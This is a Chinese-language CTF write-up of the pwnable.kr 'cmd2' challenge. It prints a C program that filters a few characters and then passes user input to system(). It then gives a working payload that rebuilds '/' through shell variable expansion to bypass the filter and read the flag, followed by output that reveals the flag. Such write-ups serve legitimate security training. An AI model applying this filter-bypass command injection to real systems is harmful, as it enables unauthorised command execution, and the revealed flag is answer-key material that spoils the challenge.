【LINUX】pwnable.kr cmd2 writeup

时间：2015-07-19 01:24:18 收藏：0 阅读：1303

试了一晚上终于试出来了。。。。真心曲折，考察linux脚本。

里面需要注意的点如下：

1. Linux里面的sh bash是不一样的，在不同系统上的存在也有不同。sh是为Unix所设计，讲究精简，里面比dash少一些功能，导致调试脚本时很多错了不知道怎么改，一步一步试出来的；

2. 重点在于构造“/”这个东西

3. 到此Toodler‘s Bottle已经刷完了，我的教程也写到了Lesson 3，接下来的题目writeup很少，我自己做也比较困难，可能转Protostar训练了吧？前面进展缓慢，后面加速了～

cmd2@ubuntu:~$ ls

cmd2 cmd2.c flag

cmd2@ubuntu:~$ cat cmd2.c

#include <stdio.h>

#include <string.h>

int filter(char* cmd){

int r=0;

r += strstr(cmd, "/")!=0;

r += strstr(cmd, "`")!=0;

r += strstr(cmd, "flag")!=0;

return r;

}

extern char** environ;

void delete_env(){

char** p;

for(p=environ; *p; p++) memset(*p, 0, strlen(*p));

}

int main(int argc, char* argv[], char** envp){

delete_env();

putenv("PATH=/no_command_execution_until_you_become_a_hacker");

if(filter(argv[1])) return 0;

printf("%s\n", argv[1]);

system( argv[1] );

return 0;

}

<"bin"${STR2}"find";STR4=${STR2}"usr"${STR2}"bin"${STR2}"xargs "${STR2}"bin"${STR2}"grep a";$STR3|$STR4‘

STR=$(export);STR1=${STR#*home};STR2=${STR1%cmd2*};STR3=${STR2}"usr"${STR2}"bin"${STR2}"find";STR4=${STR2}"usr"${STR2}"bin"${STR2}"xargs "${STR2}"bin"${STR2}"grep a";$STR3|$STR4

/usr/bin/find: `./.bash_history‘: Permission denied

/bin/grep: ./.bash_history: Permission denied

./flag:FuN_w1th_5h3ll_v4riabl3s_haha

./cmd2.c:int filter(char* cmd){

./cmd2.c: r += strstr(cmd, "flag")!=0;

./cmd2.c:extern char** environ;

./cmd2.c: char** p;

./cmd2.c:int main(int argc, char* argv[], char** envp){

./cmd2.c: putenv("PATH=/no_command_execution_until_you_become_a_hacker");

./cmd2.c: if(filter(argv[1])) return 0;

./cmd2.c: printf("%s\n", argv[1]);

./cmd2.c: system( argv[1] );

Binary file ./cmd2 matches